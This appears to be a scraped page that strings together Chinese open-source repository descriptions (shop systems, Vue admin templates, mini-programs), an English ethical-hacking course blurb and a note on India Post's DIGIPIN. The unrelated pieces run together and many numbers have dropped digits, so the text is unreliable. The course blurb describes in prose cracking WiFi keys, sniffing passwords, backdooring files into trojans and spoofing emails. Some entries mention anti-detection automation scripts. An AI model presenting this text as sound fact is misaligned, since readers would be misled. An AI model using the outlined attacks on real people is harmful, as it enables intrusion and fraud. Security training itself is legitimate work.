直播电商 分销商城 微信小程序商城 APP商城 公众号商城 PC商城系统 支付宝小程序商城 抖音小程序商城 百度小程序电商系统 前后端代码全部开源 Laravel vue开发 成熟商用项目 shop mall 商城 电商 利用 PHP cURL 转发 Disqus API 请求可能是最优雅 简易的淘宝客SDKUniAdmin是一套渐进式模块化开源后台 采用前后端分离技术 数据交互采用json格式 功能低耦合高内聚 核心模块支持系统设置 权限管理 用户管理 菜单管理 API管理等功能 后期上线模块商城将打造类似composer npm的开放式插件市场 同时我们将打造一套兼容性的API标准 从ThinkPHP5 1 Vue2开始 逐步吸引爱好者共同加入 以覆盖等多语言框架 PHP 多接口获取快递物流信息包LightCMS 是一个基于 Laravel 开发的轻量级 CMS 系统 也可以作为一个通用的后台管理框架使用单点登录系统快乐二级域名分发系统Typecho Theme Story 爱上你我的故事 一个轻量化的留言板 记事本 社交系统 博客 人类的本质是 咕咕咕?微信域名拦截检测 QQ域名拦截检测 t xzkxb com 查询有缓存 如需实时查询请自行部署 高性能分布式并发锁 行为限流Emlog是一款基于PHP和MySQL的功能强大的博客及CMS建站系统 追求快速 稳定 简单 舒适的建站体验Hyperf admin 基于Hyperf Element UI 通用管理后台企业仓库管理系统HisiPHP V2版是基于ThinkPHP5 1和Layui开发的后台框架 承诺永久免费开源 您可用于学习和商用 但须保留版权信息正常显示 如果HisiPHP对您有帮助 您可以点击右上角 Star 支持一下哦 谢谢 使用PHP开发的简约导航 书签管理系统 软擎是基于 Php 7 2 和 Swoole 4 4 的高性能 简单易用的开发框架 支持同时在 Swoole Server 和 php fpm 两种模式下运行 内置了服务 集成了大量成熟的组件 可以用于构建高性能的Web系统 API 中间件 基础服务等等 个人发卡源码 发卡系统 二次元发卡系统 二次元发卡源码 发卡程序 动漫发卡 PHP发卡源码聊天应用 php实现的dht爬虫搭建的webim客服系统 即时通讯一些实用的python脚本同城拼车微信小程序后端代码 一个响应式干净和简洁优雅的 Typecho 主题php仓库进销存深度学习5 问 以问答形式对常用的概率知识 线性代数 机器学习 深度学习 计算机视觉等热点问题进行阐述 以帮助自己及有需要的读者 全书分为18个章节 5 余万字 由于水平有限 书中不妥之处恳请广大读者批评指正 未完待续 如有意合作 联系scutjy2 15 163 com 版权所有 违权必究 Tan 2 18 6题解 记录自己的leetcode解题之路 最全中华古诗词数据库 唐宋两朝近一万四千古诗人 接近5 5万首唐诗加26万宋诗 两宋时期1564位词人 21 5 首词 uni app 是使用 Vue 语法开发小程序 H5 App的统一框架采用自身模块规范编写的前端 UI 框架 遵循原生 HTML CSS JS 的书写形式 极低门槛 拿来即用 我是依扬 木易杨 公众号 高级前端进阶 作者 每天搞定一道前端大厂面试题 祝大家天天进步 一年后会看到不一样的自己 YApi 是一个可本地部署的 打通前后端及QA的 可视化的接口管理平台小程序组件化开发框架网易云音乐 Node js API service基于 Vue js 的小程序开发框架 从底层支持 Vue js 语法和构建工具体系 ECMAScript 6入门 是一本开源的 JavaScript 语言教程 全面介绍 ECMAScript 6 新增的语法特性 谷粒 Chrome插件英雄榜 为优秀的Chrome插件写一本中文说明书 让Chrome插件英雄们造福人类公众号 加1 同步更新前端面试每日 3 1 以面试题来驱动学习 提倡每日学习与思考 每天进步一点 每天早上5点纯手工发布面试题 死磕自己 愉悦大家 4 道前端面试题全面覆盖小程序 软技能 本文原文由知名 Hacker Eric S Raymond 所撰寫 教你如何正確的提出技術問題並獲得你滿意的答案 千古前端图文教程 超详细的前端入门到进阶学习笔记 从零开始学前端 做一名精致优雅的前端工程师 公众号 千古壹号 作者 book Node js 包教不包会 by alsotang收集所有区块链 BlockChain 技术开发相关资料 包括Fabric和Ethereum开发资料轻量 可靠的小程序 UI 组件库微信小程序商城 微信小程序微店一个可以观看国内主流视频平台所有视频的客户端可伸缩布局方案基于 node js Mongodb 构建的后台系统 js 源码解析磁力链接聚合搜索中华人民共和国行政区划 省级 省份直辖市自治区 地级 城市 县级 区县 乡级 乡镇街道 村级 村委会居委会 中国省市区镇村二级三级四级五级联动地址数据 Web接口管理工具 开源免费 接口自动化 MOCK数据自动生成 自动化测试 企业级管理 阿里妈妈MUX团队出品 阿里巴巴都在用 1 公司的选择 RAP2已发布请移步至github com thx rap2 delosKuboard 是基于 Kubernetes 的微服务管理界面 同时提供 Kubernetes 免费中文教程 入门教程 最新版本的 Kubernetes v1 2 安装手册 k8s install 在线答疑 持续更新 ApacheCN 数据结构与算法译文集 chick 是使用 Node js 和 MongoDB 开发的社区系统一个非常适合IT团队的在线API文档 技术文档工具 Chinese sticker pack More joy 表情包的博物馆 Github最有毒的仓库 中国表情包大集合 聚欢乐 高颜值的第三方网易云播放器 支持 Windows macOS Linux vue2 vue router vuex 入门项目网易云音乐第三方 Flutter实战 电子书 一套代码运行多端 一端所见即多端所见 计算机速成课 Crash Course 字幕组 全4 集 2 18 5 1 精校完成 一个 react redux 的完整项目 和 个人总结中文独立博客列表CSS Inspiration 在这里找到写 CSS 的灵感 rich text 富文本编辑器 汉字拼音 hàn zì pīn yīn Chrome插件开发全攻略 配套完整Demo 欢迎clone体验微信调试 各种WebView样式调试 手机浏览器的页面真机调试 便捷的远程调试手机页面 抓包工具 支持 HTTPS 无需USB连接设备 master分支 渲染器 微信小程序组件 API 云开发示例简悦 SimpRead 让你瞬间进入沉浸式阅读的扩展让H5制作像搭积木一样简单 轻松搭建H5页面 H5网站 PC端网站 LowCode平台 一套组件化 可复用 易扩展的微信小程序 UI 组件库这是一个数据可视化项目 能够将历史数据排名转化为动态柱状图图表微信小程序图表charts组件 Charts for WeChat small app类似易企秀的H5制作 建站工具 可视化搭建系统 一个在你编程时疯狂称赞你的 VSCode 扩展插件全家桶后台管理框架解锁网易云音乐客户端变灰歌曲美观易用的React富文本编辑器 基于draft js开发一个致力于微信小程序和 Web 端同构的解决方案從零開始學 ReactJS ReactJS 1 1 是一本希望讓初學者一看就懂的 React 中文入門教學書 由淺入深學習 ReactJS 生態系源码解读 系列文章 完 我就是来分享脚本玩玩的开发者边车 github打不开 github加速 git clone加速 git release下载加速 stackoverflow加速vue源码逐行注释分析 4 多m的vue源码程序流程图思维导图 diff部分待后续更新 微信小程序解决方案 1KB javascript 覆盖状态管理 跨页通讯 插件开发和云数据库开发给老司机用的一个番号推荐系统 FeHelper Web前端助手记录成长的过程哔哩哔哩 bilibili com 辅助工具 可以替换播放器 推送通知并进行一些快捷操作提供了百度坐标 BD 9 国测局坐标 火星坐标 GCJ 2 和WGS84坐标系之间的转换F2etest是一个面向前端 测试 产品等岗位的多浏览器兼容性测试整体解决方案 ️ 阿里飞猪 很易用的中后台 表单 表格 图表 解决方案CRMEB Min 前后端分离版自带客服系统 是CRMEB品牌全新推出的一款轻量级 高性能 前后端分离的开源电商系统 完善的后台权限管理 会员管理 订单管理 产品管理 客服管理 CMS管理 多端管理 页面DIY 数据统计 系统配置 组合数据管理 日志管理 数据库管理 一键开通短信 产品采集 物流查询等接口 React技术揭秘 一本自顶向下的React源码分析书微信小程序 基于wepy 商城 微店 微信小程序 欢迎学习交流大屏数据可视化Pytorch 中文文档经典的网页对话框组件 强大的动态表单生成器 简洁 易用 灵活的微信小程序组件库 一款 Material Design 风格的 Hexo 主题签到一个帮助你自动申请京东价格保护的chrome拓展后台admin前端模板 基于 layui 编写的最简洁 易用的后台框架模板 只需提供一个接口就直接初始化整个框架 无需复杂操作 小程序生成图片库 轻松通过 json 方式绘制一张可以发到朋友圈的图片安卓应用层抓包通杀脚本一个轻量的工具集合婚礼大屏互动 微信请柬一站式解决方案mili 是一个开源的社区系统 界面优雅 功能丰富 丝般顺滑的触摸运动方案做最好的接口管理平台Mpx 一款具有优秀开发体验和深度性能优化的增强型跨端小程序框架省市区县乡镇三级或四级城市数据 带拼音标注 坐标 行政区域边界范围 2 21年 7月 3日最新采集 提供csv格式文件 支持在线转成多级联动js代码 通用json格式 提供软件转成shp geojson sql 导入数据库 带浏览器里面运行的js采集源码 综合了中华人民共和国民政部 国家统计局 高德地图 腾讯地图行政区划数据在vscode中用于生成文件头部注释和函数注释的插件 经过多版迭代后 插件 支持所有主流语言 功能强大 灵活方便 文档齐全 食用简单 觉得插件不错的话 点击右上角给个Star ️呀 JAVClub 让你的大姐姐不再走丢️你想要的最全 Android 进阶路线知识图谱 干货资料收集 开发者推荐阅读的书籍 2 2 淘宝 京东 支付宝双十一 双11全民养猫 全民营业自动化脚本 全额奖励 防检测 一款高性能敏感词 非法词 脏字 检测过滤组件 附带繁体简体互换 支持全角半角互换 汉字转拼音 模糊搜索等功能 前端博客 关注基础知识和性能优化 vue cli4配置vue config js持续更新PT 助手 Plus 为 Google Chrome 和 Firefox 浏览器插件 Web Extensions 主要用于辅助下载 PT 站的种子 基于vue2 koa2的 H5制作工具 让不会写代码的人也能轻松快速上手制作H5页面 类似易企秀 百度H5等H5制作 建站工具最全最新中国省 市 地区json及sql数据首个 Taro 多端统一实例 网易严选 小程序 H5 React Native By 趣店 FED地理信息可视化库企业级 Node js 应用性能监控与线上故障定位解决方案 Node js区块链开发 注 新版代码已开源 请star支持哦 基于Auto js的蚂蚁森林能量自动收取脚本 结巴 中文分词的Node js版本 译 面向机器学习的特征工程webfunny是一款轻量级的前端监控系统 webfunny也是一款前端性能监控系统 无埋点监控前端日志 实时分析前端健康状态一个实现汉字与拼音互转的小巧web工具库 演示地址 前端进阶 优质博文 一个 Chrome 插件 将 Google CDN 替换为国内的 Vue ElementUI构建的CMS开发框架超完整的React Native项目 功能丰富 适合学习和日常使用 GSYGithubApp系列的优势 我们目前已经拥有四个版本 功能齐全 项目框架内技术涉及面广 完成度高 配套文章 适合全面学习 对比参考 开源Github客户端App 更好的体验 更丰富的功能 旨在更好的日常管理和维护个人Github 提供更好更方便的驾车体验Σ 同款Weex版本同款Flutter版本 https github com CarGu 群 宇宙最强的前端面试指南 lucifer ren fe interview 微慕小程序开源版 WordPress版微信小程序函数式编程指北中文版Node js面试题 侧重后端应用与对Node核心的理解jQuery源码解析小白入坑vue三部曲 关于 vue 在工作的使用问题总结 请看博客 sunseekers github io 一直保持更新基于 Vue 的 PWA 解决方案 帮助开发者快速搭建 PWA 应用 解决接入 PWA 的各种问题ThinkCMF是一款支持Swoole的开源内容管理框架 基于ThinkPHP开发 同时支持PHP FPM和Swoole双模式 让WEB开发更快 微信小程序图片裁剪工具前端知识月刊Next Terminal是一个轻量级堡垒机系统 易安装 易使用 支持RDP SSH VNC Telnet Kubernetes协议 微信小程序 日历组件 基于 ueditor的更现代化的富文本编辑器 支持HTTPS基于JavaScript React Vue2的流程图组件 采用Spring MyBatis Shiro框架 开发的一套权限系统 极低门槛 拿来即用 设计之初 就非常注重安全性 为企业系统保驾护航 让一切都变得如此简单 QQ群 32478 2 4 145799952 一个前端的博客 春松客服 多渠道智能客服系统 开源客服系统 机器人客服一个工作流平台小程序 小游戏以及 Web 通用 Canvas 渲染引擎 在线工具秘籍 为在线工具写一本优质说明书 让在线工具造福人类 前端内参 有关于JavaScript 编程范式 设计模式 软件开发的艺术等大前端范畴内的知识分享 旨在帮助前端工程师们夯实技术基础以通过一线互联网企业技术面试 ️ vCards 中国黄页 优化 iOS Android 来电 信息界面体验各平台的分流规则 复写规则及自动化脚本 基于vue2 的实时聊天项目 图片剪裁上传组件 等笔记快速分享 GoogleDrive OneDrive 每日时报 以前端技术体系为主要分享课题 根据 文章 工具 新闻 视频几大板块作为主要分类 一款高效 高性能的帧动画生成工具 停止维护 一个在线音乐播放器 仅 UI 无功能 小程序富文本组件 支持渲染和编辑 html 支持在微信 QQ 百度 支付宝 头条和 uni app 平台使用基于 electron vue 开发的音乐播放器 界面模仿QQ音乐 技术栈欢迎starweui 是在weui和zepto基础上开发的增强UI组件 目前分为表单 基础 组件 js插件四大类 共计百余项功能 是最全的weui样式同步和更新大佬脚本库 更新懒人配置腾讯云即时通信 IM 服务 国内下载镜像 基于 Vue 的小程序开发框架React 16 8打造精美音乐WebAppWK系列开发框架 V1至V5 Java开源企业级开发框架 单应用 微服务 分布式 ️中国 省市区 三级联动 地址选择器 微信小程序2d动画库 分布式 Redis缓存 Shiro权限管理 Spring Session单点登录 Quartz分布式集群调度 Restful服务 QQ 微信登录 App token登录 微信 支付宝支付 日期转换 数据类型转换 序列化 汉字转拼音 身份证号码验证 数字转人民币 发送短信 发送邮件 加密解密 图片处理 excel导入导出 FTP SFTP fastDFS上传下载 二维码 XML读写 高精度计算 系统配置工具类等等 EduSoho 网络课堂是由杭州阔知网络科技有限公司研发的开源网校系统 EduSoho 包含了在线教学 招生和管理等完整功能 让教育机构可以零门槛建立网校 成功转型在线教育 EduSoho 也可作为企业内训平台 帮助企业实现人才培养 自用的一些乱七八糟 油猴脚本 为刚刚学习php语言以及web网站开发整理的一套资源 有视频 实战代码 学习路径等 会持续更新 This is a goindex theme 一个goindex的扩展主题 NumPy官方中文文档 完整版 搭建移动端开发 基于适配方案 axios封装 构建手机端模板脚手架 后台管理 脚手架接口 从简单开始 PhalApi简称π框架 一个轻量级PHP开源接口框架 专注于接口服务开发 前端特效存档Chrome浏览器 抢购 秒杀插件 秒杀助手 定时自动点击云存储管理客户端 支持七牛云 腾讯云 青云 阿里云 又拍云 亚马逊S3 京东云 仿文件夹管理 图片预览 拖拽上传 文件夹上传 同步 批量导出URL等功能font carrier是一个功能强大的字体操作库 使用它你可以随心所欲的操作字体 让你可以在svg的维度改造字体的展现形状 CRN是Ctrip React Native简称 由携程无线平台研发团队基于React Native框架优化 定制成稳定性和性能更佳 也更适合业务场景的跨平台开发框架 油猴脚本页面浮窗广告完全过滤净化 国服最强最全最新CSDN脚本微信小程序即时通讯模板 使用WebSocket通信小程序反编译 支持分包 “想学吗”个人知识管理与自媒体营销工具 超多经典 Canvas 实例 动态离子背景 炫彩小球 贪吃蛇 坦克大战 是男人就下1 层 心形文字等 Vue UEditor v model双向绑定 HQChart H5 微信小程序 沪深 港股 数字货币 期货 美股 K线图 kline 走势图 缩放 拖拽 十字光标 画图工具 截图 筹码图 分析家语法 通达信语法 麦语法 第3方数据替换接口基于koa2的标准前后端分离框架 一款企业信息化开发基础平台 拟集成OA 办公自动化 CMS 内容管理系统 等企业系统的通用业务功能 JeePlatform项目是一款以SpringBoot为核心框架 集ORM框架Mybatis Web层框架SpringMVC和多种开源组件框架而成的一款通用基础平台 代码已经捐赠给开源中国社区基于inception的自动化SQL操作平台 支持SQL执行 LDAP认证 发邮件 OSC SQL查询 SQL优化建议 权限管理等功能 支持docker镜像是一款专门面向个人 团队和小型组织的私有网盘系统 轻量 开源 完善 无论是在家庭 学校还是在办公室 您都能立刻开始使用它 了解更多请访问官方网站 Node js API 中文文档dubbo服务管理以及监控系统拯救B站的弹幕体验 对抗假消息系列项目之一 截屏 实锤?相信你就输了 ”突破性“更新 支持修改任何网站 ️一个简洁 优雅且高效的 Hugo 主题Vue js 示例项目 简易留言板 本项目拥有完善的文档说明与注释 让您快速上手 Vue js 开发? Vue Validator? Vuex?最佳实践基于 Node js Koa2 实战开发的一套完整的博客项目网站 用 React 编写的基于Taro Dva构建的适配不同端 微信 百度 支付宝小程序 H5 React Native 等 的时装衣橱信息泄漏监控系统 伪装115浏览器干爆前端 一网打尽前端面试 学习路径 优秀好文等各类内容 帮助大家一年内拿到期望的 offer 前端性能监控系统 消息队列 高可用 集群等相关架构SpringBoot v2项目是努力打造springboot框架的极致细腻的脚手架 包括一套漂亮的前台 无其他杂七杂八的功能 原生纯净 中文文本标注工具 最全最新中国 省 市 区县 乡镇街道 json csv sql数据 一款轻巧的渐进式微信小程序框架 全网 1 w 阅读量的进阶前端技术博客仓库 Vue 源码解析 React 深度实践 TypeScript 进阶艺术 工程化 性能优化实践 完整开源 Java快速开发平台 基于Spring SpringMVC Mybatis架构 MStore提供更多好用的插件与模板 文章 商城 微信 论坛 会员 评论 支付 积分 工作流 任务调度等 同时提供上百套免费模板任意选择 价值源自分享 铭飞系统不仅一套简单好用的开源系统 更是一整套优质的开源生态内容体系 铭飞的使命就是降低开发成本提高开发效率 提供全方位的企业级开发解决方案 每月28定期更新版本WeHalo 简约风 的微信小程序版博客 基于 vue2 vuex 构建一个具有 45 个页面的大型单页面应用基于Vue3 Element Plus 的后台管理系统解决方案基于 vue element ui 的后台管理系统鲜亮的高饱和色彩 专注视觉的小程序组件库 ️ 跨平台桌面端视频资源播放器 简洁无广告 免费高颜值 后台管理主线版本基于三者并行开发维护 同时支持电脑 手机 平板 切换分支查看不同的vue版本 element plus版本已发布 vue3 vue3 vue vue3 x vue js 程序无国界 但程序员有国界 中国国家尊严不容挑衅 如果您在特殊时期 mall admin web是一个电商后台管理系统的前端项目 基于Vue Element实现 主要包括商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等功能 一款完善的安全评估工具 支持常见 web 安全问题扫描和自定义 poc 使用之前务必先阅读文档Vue数据可视化组件库 类似阿里DataV 大屏数据展示 提供SVG的边框及装饰 图表 水位图 飞线图等组件 简单易用 长期更新 React版已发布 UI表单设计及代码生成器基于Vue的可视化表单设计器 让表单开发简单而高效 基于vue的高扩展在线网页制作平台 可自定义组件 可添加脚本 可数据统计 vue后台管理框架 精致的下拉刷新和上拉加载 js框架 支持vue 完美运行于移动端和主流PC浏览器 基于vue2 vuex element ui后台管理系统 Vue js高仿饿了么外卖App课程源码 coding imooc com class 74 html京东风格移动端 Vue2 Vue3 组件库eladmin前端源码 项目基于的前后端分离后台管理系统 权限控制采用 RBAC 菜单动态路由资源采集站在线播放uView UI 是uni app生态最优秀的UI框架 全面的组件和便捷的工具会让您信手拈来 如鱼得水Vue2 全家桶仿 微信App 项目 支持多人在线聊天和机器人聊天前端vue 后端koa 全栈式开发bilibili首页 A magical vue admin 记得star互联网大厂内推及大厂面经整理 并且每天一道面试题推送 每天五分钟 半年大厂中 Vue3 全家桶 Vant 搭建大型单页面商城项目 新蜂商城 Vue3 版本 技术栈为基于Vue开发的XMall商城前台页面 PC端 Vue全家桶 Vant 搭建大型单页面电商项目 ddbuy 7 orange cn前后端分离权限管理系统 精力有限 停止维护 用 Vue js 开发的跨三端应用Prototyping Tool For Vue Devs 适用于Vue的原型工具实战商城 基于Vue2 高仿微信App的单页应用electron跨平台音乐播放器 可搜网易云 QQ音乐 虾米音乐 支持QQ 微博 Github登录 云歌单 支持一键导入音乐平台歌单ThorUI组件库 轻量 简洁的移动端组件库 组件文档地址 thorui cn doc 最近更新时间 2 21 5 28uni app框架演示示例 Electron Vue 仿网易云音乐windows客户端 基于 Vue2 Vue CLI3 的高仿网易云 mac 客户端播放器 PC Online Music PlayerGitHub 泄露监控系统pear 梨子 轻量级的在线项目 任务协作系统 远程办公协作自选基金助手是一款Chrome扩展 用来快速获取关注基金的实时数据 查看自选基金的实时估值情况支持 markdown 渲染的博客前台展示Vue 音乐搜索 播放 Demo 一个基于 vue2 vue3 的 大转盘 九宫格 抽奖插件奖品 文字 图片 颜色 按钮均可配置 支持同步 异步抽奖 概率前 后端可控 自动根据 dpr 调整清晰度适配移动端 基于 Vue 的在线音乐播放器 PC Online music player美团饿了吗外卖红包外卖优惠券 先领红包再下单 外卖红包优惠券 cps分成 别人领红包下单 你拿佣金 讨论如何构建一套可靠的大型分布式系统用 vue 写小程序 基于 mpvue 框架重写 weui 基于Vue框架构建的github数据可视化平台使用GitHub API 搭建一个可动态发布文章的博客可视化拖拽组件库 DEMO基于开源组件 Inception SQLAdvisor SOAR 的SQL审核 SQL优化的Web平台显示当前网站的所有可用Tampermonkey脚本 专注Web与算法无缝滚动component精通以太坊 中文版 网页模拟桌面基于的多模块前后端分离的博客项目网易云音乐 QQ音乐 咪咕音乐 第三方 web端 可播放 vip 下架歌曲 基于权限管理的后台管理系统基于 Node js 的开源个人博客系统 采用 Nuxt Vue TypeScript 技术栈 一款简洁高效的VuePress知识管理 博客 blog 主题基于uni app的ui框架基于Vue Vuex iView的电子商城网站 Vue2 全家桶 Vant 搭建大型单页面商城项目 新蜂商城前后端分离版本 前端Vue项目源码酷狗 ️ 极客猿梦导航 独立开发者的导航站 Vue SpringBoot MyBatis 音乐网站基于 RageFrame2 的一款免费开源的基础商城销售功能的开源微商城 基于vue2 的网易云音乐播放器 api来自于NeteaseCloudMusicApi v2 为最新版本编写的一套后台管理系统全栈开发王者荣耀手机端官网和管理后台基于 Vue3 x TypeScript 的在线演示文稿应用 实现PPT幻灯片的在线编辑 演示 基于vue2 生态的后台管理系统模板开发的后台管理系统 Vchat 从头到脚 撸一个社交聊天系统 vue node mongodb h5编辑器类似maka 易企秀 账号 密码 admin996 公司展示 讨论Vue Spring boot前后端分离项目 wh web wh server的升级版 基于element ui的数据驱动表单组件基于 GitHub API 开发的图床神器 图片外链使用 jsDelivr 进行 CDN 加速 免下载 免安装 打开网站即可直接使用 免费 稳定 高效 ️ Vue初 中级项目 CnodeJS社区重构预览 DEMO 基于vue2全家桶实现的 仿移动端QQ基于Vue Echarts 构建的数据可视化平台 酷炫大屏展示模板和组件库 持续更新各行各业实用模板和炫酷小组件 基于Spring Boot的在线考试系统 预览地址 129 211 88 191 账户分别是admin teacher student 密码是admin123 6pan 6盘小白羊 第二版 vue3 antd typescript on bone and knife 基于Vue 全家桶 2 x 制作的美团外卖APP 本项目是一款基于 Avue 的表单设计器 拖拽式操作让你快速构建一个表单 一刻社区前端源码基于Vue iView Admin开发的XBoot前后端分离开放平台前端 权限可控制至按钮显示 动态路由权限菜单 多语言 简洁美观 前后端分离 ️一个开源的社区程序 临时测试站 https t myrpg cnecharts地图geoJson行政边界数据的实时获取与应用 省市区县多级联动下钻 真正意义的下钻至县级 附最新geoJson文件下载 Vue的Nuxt js服务端渲染框架 NodeJS为后端的全栈项目 Docker一键部署 面向小白的完美博客系统vue瀑布流组件 vue waterfall easy 2 x Ego 移动端购物商城 vue vuex ruoter webpack Vue js Node js Mongodb 前后端分离的个人博客头像加口罩小程序 基于uniapp使用vue快速实现 广告月收入4k 基于vue3 的管理端模板教你如何打造舒适 高效 时尚的前端开发环境基于 Flask 和 Vue js 前后端分离的微型博客项目 支持多用户 Markdown文章 喜欢 收藏文章 粉丝关注 用户评论 点赞 动态通知 站内私信 黑名单 邮件支持 管理后台 权限管理 RQ任务队列 Elasticsearch全文搜索 Linux VPS部署 Docker容器部署等基于 vue 和 heyui 组件库的中后端系统 admin heyui topVue 轻量级后台管理系统基础模板uni app项目插件功能集合We川大小程序 scuplus 使用wepy开发的完善的校园综合小程序 4 页面 前后端开源 包括成绩 课表 失物招领 图书馆 新闻资讯等等常见校园场景功能一个全随机的刷装备小游戏一个vue全家桶入门Demo 是一個可以幫助您 Vue js 的項目測試及偵錯的工具 也同時支持 Vuex及 Vue Router 微信公众号管理系统 包含公众号菜单管理 自动回复 素材管理 模板消息 粉丝管理 ️等功能 前后端都开源免费 基于vue 的管理后台 配合Blog Core与Blog Vue等多个项目使用海风小店 开源商城 微信小程序商城管理后台 后台管理 VUE IT之家第三方小程序版客户端 使用 mpvue 开发 兼容 web vue 可以拖拽排序的树形表格 现代 Web 开发语法基础与工程实践 涵盖 Web 开发基础 前端工程化 应用架构 性能与体验优化 混合开发 React 实践 Vue 实践 WebAssembly 等多方面 数据大屏可视化编辑器一个适用于摄影从业者 爱好者 设计师等创意行业从业者的图像工具箱 武汉大学图书馆助手 桌面端基于form generator 仿钉钉审批流程创建 表单创建 流程节点可视化配置 必填条件及校验 一个完整electron桌面记账程序 技术栈主要使用electron vue vuetify 开机自动启动 自动更新 托盘最小化 闪烁等常用功能 Nsis制作漂亮的安装包 程序猿的婚礼邀请函 一个基于vue和element ui的树形穿梭框及邮件通讯录版本见示例见 基于Gin Vue Element UI的前后端分离权限管理系统的前端模块通用书籍阅读APP BookChat 的 uni app 实现版本 支持多端分发 编译生成Android和iOS 手机APP以及各平台的小程序基于Vue3的Material design风格移动端组件库进阶资深前端开发在线考试系统 springboot vue前后端分离的一个项目 ️ 无后端的仿 YouTube Live Chat 风格的简易 Bilibili 弹幕姬vue后端管理系统界面 基于ui组件iviewBilibili直播弹幕库 for Mac Windows LinuxVue高仿网易云音乐 基本实现网易云所有音乐 MV相关功能 现已更新到第二版 仅用于学习 下面有详细教程 武汉大学图书馆助手 移动端Zeus基于Golang Gin casbin 致力于做企业统一权限 账号中心管理系统 包含账号管理 数据权限 功能权限 应用管理 多数据库适配 可docker 一键运行 社区活跃 版本迭代快 加群免费技术支持 Vue高仿网易云音乐 Vue入门实践 在线预览 暂时停止基于 Vue 和 ElementUI 构建的一个企业级后台管理系统 ️ 跨平台移动端视频资源播放器 简洁免费 ZY Player 移动端 APP 基于 Uni app 开发 Vue实战项目基于参考小米商城 实现的电商项目 h5制作 移动端专题活动页面可视化编辑仿钉钉审批流程设置动态表单页面设计 自动生成页面微前端项目实战vue项目 基于vue3 qiankun2 进阶版 github com wl ui wl mfe基于 d2 admin的RBAC权限管理解决方案VueNode 是一套基于的前后端分离项目 基于仿京东淘宝的 移动端H5电商平台 巨树 基于ztree封装的Vue树形组件 轻松实现海量数据的高性能渲染 微信红包封面领取 用户观看视频广告或者邀请用户可获取微信红包序列号基于 Vue 的可视化布局编辑器插件kbone ui 是一套能同时支持 小程序 kbone 和 vue 框架开发的多端 UI 库 PS 新版 kbone ui 已出炉并迁移到 kbone 主仓库 此仓库仅做旧版维护之用 一个vue的个人博客项目 配合 net core api教程 打造前后端分离Tumo Blog For Vue js 前后端分离bpmn js流程设计器组件 基于vue elementui美化属性面板 满足9 %以上的业务需求专门为 Weex 前端开发者打造的一套高质量UI框架 想用vue把我现在的个人网站重新写一下 新的风格 新的技术 什么都是新的 本项目是一个在线聊天系统 最大程度的还原了Mac客户端QQ vue cli3 后台管理模板 heart 基于vue2和vuex的复杂单页面应用 2 页面53个API 仿实验楼 基于 Vue Koa 的 WebDesktop 视窗系统 Jeebase是一款前后端分离的开源开发框架 基于开发 一套SpringBoot后台 两套前端页面 可以自由选择基于ElementUI或者AntDesign的前端界面 二期会整合react前端框架 Ant Design React 在实际应用中已经使用这套框架开发了CMS网站系统 社区论坛系统 微信小程序 微信服务号等 后面会逐步整理开源 本项目主要目的在于整合主流技术框架 寻找应用最佳项目实践方案 实现可直接使用的快速开发框架 使用 vue cli3 搭建的vue vuex router element 开发模版 集成常用组件 功能模块JEECG BOOT APP 移动解决方案 采用uniapp框架 一份代码多终端适配 同时支持APP 小程序 H5 实现了与JeecgBoot平台完美对接的移动解决方案 目前已经实现登录 用户信息 通讯录 公告 移动首页 九宫格等基础功能 明日方舟工具箱 支持中台美日韩服vue的验证码插件这里有一些标准组件库可能没有的功能组件 已有组件 放大镜 签到 图片标签 滑动验证 倒计时 水印 拖拽 大家来找茬 基于Vue2 Nodejs MySQL的博客 有后台管理系统
Welcome this comprehensive course on Ethical Hacking! This course assumes you have NO prior knowledge in hacking and by the end of it you'll be able to hack systems like black-hat hackers and secure them like security experts! This course is highly practical but it won't neglect the theory, so we'll start with ethical hacking basics and the different fields in penetration testing, installing the needed software (works on Windows, Linux and Mac OS X) and then we'll dive and start hacking systems straight away. From here onwards you'll learn everything by example, by analysing and exploiting computer systems such as networks, servers, clients, websites .....etc, so we'll never have any boring dry theoretical lectures. The course is divided into a number of sections, each section covers a penetration testing / hacking field, in each of these sections you'll first learn how the target system works, the weaknesses of this system, and how to practically exploit theses weaknesses and hack into it, not only that but you'll also learn how to secure this system from the discussed attacks. This course will take you from a beginner to a more advanced level by the time you finish, you will have knowledge about most penetration testing fields. The course is divided into four main sections: 1. Network Hacking - This section will teach you how to test the security of networks, both wired and wireless. First, you will learn some basic network terminology, how networks work, and how devices communicate with each other. Then it will branch into three sub sections: Pre-connection attacks: in this subsection you'll learn what can you do before even connecting to a network, and even before having internet access; you'll start by learning how to gather information about the networks around you, discover the devices connected to them, and how to control connections around you (ie: deny/allow devices from connecting to networks) even without knowing the password of the target network. Gaining Access: Now that you gathered information about the networks around you, in this subsection you will learn how to crack the key and get the password to your target network weather it uses WEP, WPA or even WPA2. Post Connection attacks: Now that you have the key, you can connect to the target network, in this subsection you will learn a number of powerful techniques that allow you to gather comprehensive information about the connected devices, see anything they do on the internet (such as login information, passwords, visited urls, images, videos ....etc), redirect requests, inject evil code in loaded pages and much more! All the attacks here work against both wireless and wired networks. You will also learn how to create a fake WiFi network, attract users to connect to it and use all of the above techniques against the connected clients. 2. Gaining Access - In this section you will learn two main approaches to gain full control or hack computer systems: Server Side Attacks: In this subsection you will learn how to gain full access to computer systems without the need for user interaction. You will learn how to gather useful information about a target computer system such as its operating system, open ports, installed services, then you'll learn how to use this information to discover weaknesses and vulnerabilitiesand exploit them to gain full control over the target. Finally you will learn how to generate different types of reports for your discoveries. Client Side Attacks - If the target system does not contain any weaknesses then the only way to gain access to it is by interacting with the users, in this subsection you'll learn how to get the target user to install a backdoor on their system without even realising, this is done by hijacking updatesor backdoornig downloadeds on the fly. Not only that but you'll also learn how to create trojans by backdooring normal files (such as an image or a pdf) and use social engineering to deliver this trojan to the target, to do this you'll learn how to spoof emails so they appear as if they're sent from the target's friend, boss or any email account they're likely to interact with. 3. Post Exploitation - In this section you will learn how to interact with the systems you compromised so far. You’ll learn how to access the file system (read/write/upload/execute), maintain your access, spy on the target and even use the target computer as a pivot to hack other computer systems. 4. Website / Web Application Hacking - In this section you will learn how websites work, how to gather information about a target website (such as website owner, server location, used technologies ....etc) and how to discover and exploit the following dangerous vulnerabilities to hack into websites:
CEPT-VZG
DIGIPIN is an open-source, geo-coded addressing system developed by India Post in collaboration with IIT Hyderabad and NRSC, ISRO. It enables “Address as a Service” (AaaS) by linking physical locations to its digital representation, allowing seemless encoding/decoding
cirosantilli
